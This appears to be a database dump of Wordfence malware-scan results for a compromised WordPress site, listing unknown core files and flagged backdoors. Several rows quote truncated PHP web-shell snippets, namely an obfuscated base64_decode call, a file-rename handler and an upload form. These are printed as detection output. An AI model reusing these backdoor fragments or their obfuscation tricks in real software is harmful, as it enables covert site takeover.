(172,1789251218,1789251218,'new','knownfile',75,'92391657791d272672b3fd9b8901327b','402b2973c661b3b720a48b243e07e402','Unknown file in WordPress core: wp-includes/sitemaps/fxpu1qt/uspyrgz/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:47:\"wp-includes/sitemaps/fxpu1qt/uspyrgz/index.html\";s:8:\"realFile\";s:77:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/fxpu1qt/uspyrgz/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(173,1789251218,1789251218,'new','knownfile',75,'4f22151702e7e6316a8dd864e09efae7','428ac5a5d90f9cfa2f649e63aa90753e','Unknown file in WordPress core: wp-includes/sitemaps/fxpu1qt/uspyrgz/index.php','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:46:\"wp-includes/sitemaps/fxpu1qt/uspyrgz/index.php\";s:8:\"realFile\";s:76:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/fxpu1qt/uspyrgz/index.php\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(177,1789251218,1789251218,'new','knownfile',75,'79d82ebcf915c8613a5c3e951239b9b1','789861f1bfaf72bfa36a1ca7a0a8a716','Unknown file in WordPress core: wp-includes/sitemaps/gajftko/rdkfahv/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:47:\"wp-includes/sitemaps/gajftko/rdkfahv/index.html\";s:8:\"realFile\";s:77:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/gajftko/rdkfahv/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(178,1789251218,1789251218,'new','knownfile',75,'46bc476595f91bad05c04b27a0c4ab7b','4863c12747d235fd4453f1135dfaedfb','Unknown file in WordPress core: wp-includes/sitemaps/kjfl1bg/ky1monx/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:47:\"wp-includes/sitemaps/kjfl1bg/ky1monx/index.html\";s:8:\"realFile\";s:77:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/kjfl1bg/ky1monx/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(179,1789251218,1789251218,'new','knownfile',75,'a5e059780da3c47731a2ca83a98aa07b','6eec36933f420343b4c8ad7025cc8a03','Unknown file in WordPress core: wp-includes/sitemaps/kjfl1bg/ky1monx/index.php','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:46:\"wp-includes/sitemaps/kjfl1bg/ky1monx/index.php\";s:8:\"realFile\";s:76:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/kjfl1bg/ky1monx/index.php\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(185,1789251218,1789251218,'new','knownfile',75,'107bb910d73ba31c1a94acddf7cf926e','a7e2c76877bbba49233b9f5c32eae3b7','Unknown file in WordPress core: wp-includes/sitemaps/lpshcut/udgvzwn/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:47:\"wp-includes/sitemaps/lpshcut/udgvzwn/index.html\";s:8:\"realFile\";s:77:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/lpshcut/udgvzwn/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(186,1789251218,1789251218,'new','knownfile',75,'1c4e1114ea0557e2b1b2830885037465','90c6573293e136dde12f6e8f783bf5d1','Unknown file in WordPress core: wp-includes/sitemaps/lpshcut/udgvzwn/index.php','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:46:\"wp-includes/sitemaps/lpshcut/udgvzwn/index.php\";s:8:\"realFile\";s:76:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/lpshcut/udgvzwn/index.php\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(188,1789251218,1789251218,'new','knownfile',75,'a5ed66448a9fa6b7f5a1b4d2392c04b4','a780c6713b99e031cbe81d3a284265d1','Unknown file in WordPress core: wp-includes/sitemaps/nsrytze/1apqerf/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:47:\"wp-includes/sitemaps/nsrytze/1apqerf/index.html\";s:8:\"realFile\";s:77:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/nsrytze/1apqerf/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(190,1789251218,1789251218,'new','knownfile',75,'e4b76b1d6a8955b427bf7d8b0c6e9e67','db2ac8cff7b5a678c888fd0f7150673b','Unknown file in WordPress core: wp-includes/sitemaps/ntueyzv/yvqrbhm/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:47:\"wp-includes/sitemaps/ntueyzv/yvqrbhm/index.html\";s:8:\"realFile\";s:77:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ntueyzv/yvqrbhm/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(191,1789251218,1789251218,'new','knownfile',75,'4bcdaadb8f257767ca1051d786d1e0c9','b900f7fe1dc33b9686d69b8354b09069','Unknown file in WordPress core: wp-includes/sitemaps/ntueyzv/yvqrbhm/index.php','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:46:\"wp-includes/sitemaps/ntueyzv/yvqrbhm/index.php\";s:8:\"realFile\";s:76:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ntueyzv/yvqrbhm/index.php\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(194,1789251218,1789251218,'new','knownfile',75,'f2f29c821a4f4671f2ebc0b6df11f33d','b690808905b37f93a6cd8a85e59d7ccd','Unknown file in WordPress core: wp-includes/sitemaps/sqh1xut/mjntoed/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:47:\"wp-includes/sitemaps/sqh1xut/mjntoed/index.html\";s:8:\"realFile\";s:77:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/sqh1xut/mjntoed/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(195,1789251218,1789251218,'new','knownfile',75,'edeb2ff418160d714ffb1d78b86f79b9','87dd470bbdd32e278f75ef4eb273c400','Unknown file in WordPress core: wp-includes/sitemaps/sqh1xut/mjntoed/index.php','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:46:\"wp-includes/sitemaps/sqh1xut/mjntoed/index.php\";s:8:\"realFile\";s:76:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/sqh1xut/mjntoed/index.php\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(201,1789251218,1789251218,'new','knownfile',75,'f4fcca2e06ad71fe8ddb3d63c54ef30b','2beed2d96640aa6f553b87810571a595','Unknown file in WordPress core: wp-includes/sitemaps/svjbhyp/nogdurq/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:47:\"wp-includes/sitemaps/svjbhyp/nogdurq/index.html\";s:8:\"realFile\";s:77:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/svjbhyp/nogdurq/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(202,1789251218,1789251218,'new','knownfile',75,'0b4c3890f3628c539a3378088325dbe1','12ae8dbc1e4261eff90b7d99db883dcd','Unknown file in WordPress core: wp-includes/sitemaps/svjbhyp/nogdurq/index.php','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:46:\"wp-includes/sitemaps/svjbhyp/nogdurq/index.php\";s:8:\"realFile\";s:76:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/svjbhyp/nogdurq/index.php\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(204,1789251218,1789251218,'new','knownfile',75,'30cd26b698f1caa31af279c83164127a','bf7111ccfb46d9072e01189ff0448605','Unknown file in WordPress core: wp-includes/sitemaps/ubxnoaj/xwlk1ch/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:47:\"wp-includes/sitemaps/ubxnoaj/xwlk1ch/index.html\";s:8:\"realFile\";s:77:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ubxnoaj/xwlk1ch/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(205,1789251218,1789251218,'new','knownfile',75,'3628f629706e0bd47a5728d27867c664','5268de9c2af19b271fdde4c69299409d','Unknown file in WordPress core: wp-includes/sitemaps/ubxnoaj/xwlk1ch/index.php','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:46:\"wp-includes/sitemaps/ubxnoaj/xwlk1ch/index.php\";s:8:\"realFile\";s:76:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ubxnoaj/xwlk1ch/index.php\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(208,1789251218,1789251218,'new','knownfile',75,'371c66e5a753b77bdf570d8a71c12492','c05b93fc50f104fd337c7b8aa5f76881','Unknown file in WordPress core: wp-includes/sitemaps/ufbsx1k/gzkrwvm/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:47:\"wp-includes/sitemaps/ufbsx1k/gzkrwvm/index.html\";s:8:\"realFile\";s:77:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/ufbsx1k/gzkrwvm/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(211,1789251218,1789251218,'new','knownfile',75,'e26ed39b99dc3a12ad803099bd95558b','cb7f7462fbcaca9fc82634833923ebca','Unknown file in WordPress core: wp-includes/theme-compat/oq1ieuz/xjpufdc/index.html','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:51:\"wp-includes/theme-compat/oq1ieuz/xjpufdc/index.html\";s:8:\"realFile\";s:81:\"/home/trevorkl/trevorklee.com/wp-includes/theme-compat/oq1ieuz/xjpufdc/index.html\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(215,1789251219,1789251219,'new','knownfile',75,'d660106ee1a5893317441b8384d497b6','6a193d44262a6eb695e6aafc9812a294','Unknown file in WordPress core: wp-includes/wp-blog-header.php','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:30:\"wp-includes/wp-blog-header.php\";s:8:\"realFile\";s:60:\"/home/trevorkl/trevorklee.com/wp-includes/wp-blog-header.php\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(216,1789251219,1789251219,'new','knownfile',75,'7215ba0666195931ce1cd0034dbd9925','1b290f611670131f081082129b138d32','Unknown file in WordPress core: wp-includes/wp-cron.php','This file is in a WordPress core location but is not distributed with this version of WordPress. This scan often includes files left over from a previous WordPress version, but it may also find files added by another plugin, files added by your host, or malicious files added by an attacker. <a href=\"https://www.wordfence.com/help/?query=scan-result-unknown-file-in-wordpress-core\" target=\"_blank\" rel=\"noopener noreferrer\">Learn More<span class=\"screen-reader-text\"> (opens in new tab)</span></a>','a:6:{s:4:\"file\";s:23:\"wp-includes/wp-cron.php\";s:8:\"realFile\";s:53:\"/home/trevorkl/trevorklee.com/wp-includes/wp-cron.php\";s:5:\"cType\";s:4:\"core\";s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;}'),
(224,1789251246,1789251246,'new','file',100,'8224c8214ac8d707e9ab0fc22fa07c17','d0ecf14c3ed1b56e41b9142bef05f722','File appears to be malicious or unsafe: wp-admin/css/colors/blue/blue/index.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">&lt;?php  error_reporting(0); $kIb = array( &quot;\\137\\x52\\x45\\121\\125\\x45\\123\\x54&quot;, &quot;\\146\\151\\x6c\\145\\x5f\\x67\\145\\164\\137\\143\\157\\156\\164\\x65\\156\\164\\163&quot;, &quot;\\x7a\\x69\\x70\\x3a\\x2f\\x2f\\x6d\\x6b\\x76\\x5f\\x36\\x61\\x...</strong> <br><br>The issue type is: <strong>Suspicious:PHP/var.func.err0.16610</strong><br>Description: <strong>Variable function call with error suppression</strong>','a:9:{s:4:\"file\";s:39:\"wp-admin/css/colors/blue/blue/index.php\";s:8:\"realFile\";s:69:\"/home/trevorkl/trevorklee.com/wp-admin/css/colors/blue/blue/index.php\";s:4:\"shac\";s:64:\"123A30976523BDD5B590BEF12924D51B29948CF46927780DAE78A9367709F8D7\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(225,1789251246,1789251246,'new','file',100,'ec0d62cbba4dca17ffa0d6a7b283fe08','3eb5c3e77aeef42d9a0e8047e59db9f3','File appears to be malicious or unsafe: wp-includes/html-api/lpyi1nu/qounslr/thbgjzr/index.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">&lt;?php error_reporting(0); if (isset($_POST[&#039;fname&#039;])){ rename(trim($_POST[&#039;fname&#039;]), trim($_POST[&#039;sname&#039;])); exit; }elseif(isset($_POST[&#039;message&#039;])){ $b4 = &#039;b&#039;.&#039;ase64&#039;.&#039;_dec&#039;.&#039;ode&#039;; fwrite(</strong> <br><br>The issue type is: <strong>Obfuscated:PHP/base64decode.10972</strong><br>Description: <strong>Obfuscation of a function call.</strong>','a:9:{s:4:\"file\";s:54:\"wp-includes/html-api/lpyi1nu/qounslr/thbgjzr/index.php\";s:8:\"realFile\";s:84:\"/home/trevorkl/trevorklee.com/wp-includes/html-api/lpyi1nu/qounslr/thbgjzr/index.php\";s:4:\"shac\";s:64:\"A4D5044D12775D558453A672282563D72C0064A58899DEF5805D456463FF8A69\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(227,1789251246,1789251246,'new','file',100,'3699b95233a8abea4b42bd6934317262','e95c24f7cfe48d3746a6575db12d21e0','File appears to be malicious or unsafe: wp-includes/sitemaps/kjfl1bg/ky1monx/index.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">&lt;?php error_reporting(0); if(trim($_GET[&#039;f&#039;]) == &#039;f&#039;){ $saw1 = $_FILES[&#039;file&#039;][&#039;tmp_name&#039;]; $saw2 = &#039;../&#039;.$_FILES[&#039;file&#039;][&#039;name&#039;]; echo &quot;&lt;form method=&#039;POST&#039; enctype=&#039;multipart/form-data&#039;&gt;&lt;input type=&#039;...</strong> <br><br>The issue type is: <strong>Backdoor:PHP/filemanager.11472</strong><br>Description: <strong>File uploading behavior reminiscent of malware</strong>','a:9:{s:4:\"file\";s:46:\"wp-includes/sitemaps/kjfl1bg/ky1monx/index.php\";s:8:\"realFile\";s:76:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/kjfl1bg/ky1monx/index.php\";s:4:\"shac\";s:64:\"38E65C492EEE427C6FD4BEBDC6FBCF5A7EF78EC1B70E0A577AAAA5938413B142\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(230,1789251246,1789251246,'new','file',100,'79b934f7a6371a1f373967d1ea155aab','0bc88e7b08be3754335d0788b138f84b','File appears to be malicious or unsafe: wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/index.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">=&#039;st&#039;.&#039;r&#039;.&#039;_replac&#039;.&#039;e&#039;;$FWLP=&#039;gzuncompres&#039;.&#039;s&#039;;$NLao=&#039;file_ge&#039;.&#039;t&#039;.&#039;_cont</strong> <br><br>The issue type is: <strong>Obfuscated:PHP/stringbuild.C.11706</strong><br>Description: <strong>String building often seen in malware</strong>','a:9:{s:4:\"file\";s:54:\"wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/index.php\";s:8:\"realFile\";s:84:\"/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/index.php\";s:4:\"shac\";s:64:\"40C3E9098FF06326D2C6A34EAB666B44833A4C6A43AF1573B613EFE23C9CC444\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(231,1789251246,1789251246,'new','file',100,'edc5db73f47afeeff925d62f9c7249b6','e95c24f7cfe48d3746a6575db12d21e0','File appears to be malicious or unsafe: wp-includes/sitemaps/sqh1xut/mjntoed/index.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">&lt;?php error_reporting(0); if(trim($_GET[&#039;f&#039;]) == &#039;f&#039;){ $saw1 = $_FILES[&#039;file&#039;][&#039;tmp_name&#039;]; $saw2 = &#039;../&#039;.$_FILES[&#039;file&#039;][&#039;name&#039;]; echo &quot;&lt;form method=&#039;POST&#039; enctype=&#039;multipart/form-data&#039;&gt;&lt;input type=&#039;...</strong> <br><br>The issue type is: <strong>Backdoor:PHP/filemanager.11472</strong><br>Description: <strong>File uploading behavior reminiscent of malware</strong>','a:9:{s:4:\"file\";s:46:\"wp-includes/sitemaps/sqh1xut/mjntoed/index.php\";s:8:\"realFile\";s:76:\"/home/trevorkl/trevorklee.com/wp-includes/sitemaps/sqh1xut/mjntoed/index.php\";s:4:\"shac\";s:64:\"38E65C492EEE427C6FD4BEBDC6FBCF5A7EF78EC1B70E0A577AAAA5938413B142\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(235,1789251246,1789251246,'new','file',100,'6fe13ef8902a8bf294a3f24d287d8ff5','e95c24f7cfe48d3746a6575db12d21e0','File appears to be malicious or unsafe: wp-includes/html-api/smzgnbc/vxswmkl/index.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">&lt;?php error_reporting(0); if(trim($_GET[&#039;f&#039;]) == &#039;f&#039;){ $saw1 = $_FILES[&#039;file&#039;][&#039;tmp_name&#039;]; $saw2 = &#039;../&#039;.$_FILES[&#039;file&#039;][&#039;name&#039;]; echo &quot;&lt;form method=&#039;POST&#039; enctype=&#039;multipart/form-data&#039;&gt;&lt;input type=&#039;...</strong> <br><br>The issue type is: <strong>Backdoor:PHP/filemanager.11472</strong><br>Description: <strong>File uploading behavior reminiscent of malware</strong>','a:9:{s:4:\"file\";s:46:\"wp-includes/html-api/smzgnbc/vxswmkl/index.php\";s:8:\"realFile\";s:76:\"/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/vxswmkl/index.php\";s:4:\"shac\";s:64:\"38E65C492EEE427C6FD4BEBDC6FBCF5A7EF78EC1B70E0A577AAAA5938413B142\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(241,1789251246,1789251246,'new','file',100,'3b767e41660a533c4fab18faddbcbe6e','95eabaf3420847caf34fb7205053ba01','File appears to be malicious or unsafe: wp-includes/html-api/xegynso/gqy1pns/xpjdifr/index.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">&lt;?php error_reporting(0); if (isset($_POST[&#039;fname&#039;])){ rename(trim($_POST[&#039;fname&#039;]), trim($_POST[&#039;sname&#039;])); exit; }elseif(isset($_POST[&#039;message&#039;])){ $b4 = &#039;base&#039;.&#039;64&#039;.&#039;_dec</strong> <br><br>The issue type is: <strong>Obfuscated:PHP/gz-ev-code.10971</strong><br>Description: <strong>Concatenation of function names commonly used in malware.</strong>','a:9:{s:4:\"file\";s:54:\"wp-includes/html-api/xegynso/gqy1pns/xpjdifr/index.php\";s:8:\"realFile\";s:84:\"/home/trevorkl/trevorklee.com/wp-includes/html-api/xegynso/gqy1pns/xpjdifr/index.php\";s:4:\"shac\";s:64:\"A9D0873B360E9C30BB0FC53EF6CB3D0D6E0F8C45C4F716523EA10BF289FA8D7F\";s:9:\"highSense\";b:0;s:7:\"canDiff\";b:0;s:6:\"canFix\";b:0;s:9:\"canDelete\";b:1;s:13:\"canRegenerate\";b:0;s:8:\"wpconfig\";b:0;}'),
(243,1789251246,1789251246,'new','file',100,'e900b760d618253a72a8e40acecb5933','e95c24f7cfe48d3746a6575db12d21e0','File appears to be malicious or unsafe: wp-includes/sitemaps/egf1kul/ytws1xl/index.php','This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <strong style=\"color: #F00;\" class=\"wf-split-word\">&lt;?php error_reporting(0); if(trim($_GET[&#039;f&#039;]) == &#039;f&#039;){ $saw1 = $_FILES[&#039;file&#039;][&#039;tmp_name&#039;]; $saw2 = &#039;../&#039;.$_FILES[&#039;file&#039;][&#039;name&#039;]; echo &quot;&lt;form method=&#039;POST&#039; enctype=&#039;multipart/form-data&#039;&gt;&lt;input type=&#039;...</strong> <br><br>The issue type is: <strong>Backdoor:PHP/filemanager.11472</strong><br>Description: <strong>File uploading behavior reminiscent of 